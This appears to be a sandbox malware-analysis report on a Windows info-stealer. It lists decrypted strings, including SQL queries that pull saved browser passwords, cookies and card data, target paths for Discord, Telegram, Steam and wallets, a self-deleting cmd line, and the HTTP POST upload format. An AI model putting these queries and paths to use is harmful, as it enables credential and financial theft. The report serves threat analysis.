Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: browser:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: profile:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: url:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: login:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: password:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Opera
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: OperaGX
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Network
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: cookies
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: .txt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: TRUE
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: FALSE
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: autofill
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: history
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: cc
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: name:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: month:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: year:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: card:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Cookies
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Login Data
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Web Data
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: History
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: logins.json
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: formSubmitURL
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: usernameField
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: encryptedUsername
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: encryptedPassword
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: guid
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: cookies.sqlite
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: places.sqlite
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: plugins
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Local Extension Settings
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: IndexedDB
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Opera Stable
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Opera GX Stable
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: CURRENT
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: chrome-extension_
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Local State
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: profiles.ini
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: chrome
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: opera
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: firefox
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: wallets
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ProductName
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: x32
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: x64
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DisplayName
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DisplayVersion
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Network Info:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - IP: IP?
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Country: ISO?
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: System Summary:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - HWID:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - OS:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Architecture:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - UserName:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Computer Name:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Local Time:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - UTC:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Language:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Keyboards:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Laptop:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Running Path:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - CPU:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Threads:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Cores:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - RAM:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - Display Resolution:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: - GPU:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: User Agents:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Installed Apps:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: All Users:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Current User:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Process List:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: system_info.txt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: freebl3.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: mozglue.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: msvcp140.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: nss3.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: softokn3.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Temp\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: .exe
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: runas
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: open
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: /c start
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %DESKTOP%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %APPDATA%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: %RECENT%
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: *.lnk
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: files
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \discord\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: key_datas
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: map*
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Telegram
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Tox
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: *.tox
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: *.ini
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Password
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 00000001
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 00000002
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 00000003
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: 00000004
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Pidgin
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \.purple\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: accounts.xml
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: token:
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: SteamPath
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \config\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ssfn*
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: config.vdf
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: loginusers.vdf
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Steam\
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: sqlite3.dll
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: done
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: soft
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: https
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: POST
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: HTTP/1.1
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: hwid
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: build
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: token
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: file_name
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: file
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: message
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.0.qlI3ReINCV.exe.680000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00684C50 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	0_2_00684C50
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006860D0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	0_2_006860D0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00696AA0 lstrcpy,SHGetFolderPathA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,LocalAlloc,strtok_s,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	0_2_00696AA0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00689B80 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00689B80
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00696CB9 lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	0_2_00696CB9
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006A42C0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_006A42C0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00687750 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00687750
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00689B20 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00689B20
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0068EB80 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0068EB80
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_6C466C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C466C80

Source: qlI3ReINCV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49996 version: TLS 1.2

Source: qlI3ReINCV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: qlI3ReINCV.exe, 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: M:\BACKUP\SOFT\Ledger\LedgerConsole_v1\LedgerLiveClient\Ledger-Live\obj\Release\Ledger-Live.pdbtQ source: DBFHCGCGDA.exe, 00000009.00000000.1963631785.0000000000A32000.00000002.00000001.01000000.0000000B.sdmp, DBFHCGCGDA.exe.0.dr, LedgerUpdater[1].exe.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: qlI3ReINCV.exe, 00000000.00000002.1994784288.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: qlI3ReINCV.exe, 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: M:\BACKUP\SOFT\Ledger\LedgerConsole_v1\LedgerLiveClient\Ledger-Live\obj\Release\Ledger-Live.pdb source: DBFHCGCGDA.exe, 00000009.00000000.1963631785.0000000000A32000.00000002.00000001.01000000.0000000B.sdmp, DBFHCGCGDA.exe.0.dr, LedgerUpdater[1].exe.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_00694C70 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_00694C70
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006924F7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_006924F7
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069CDD0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0069CDD0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_006816A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_006816A0
Source: C:\Users\user\Desktop\qlI3ReINCV.exe	Code function: 0_2_0069E3F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0069E3F0
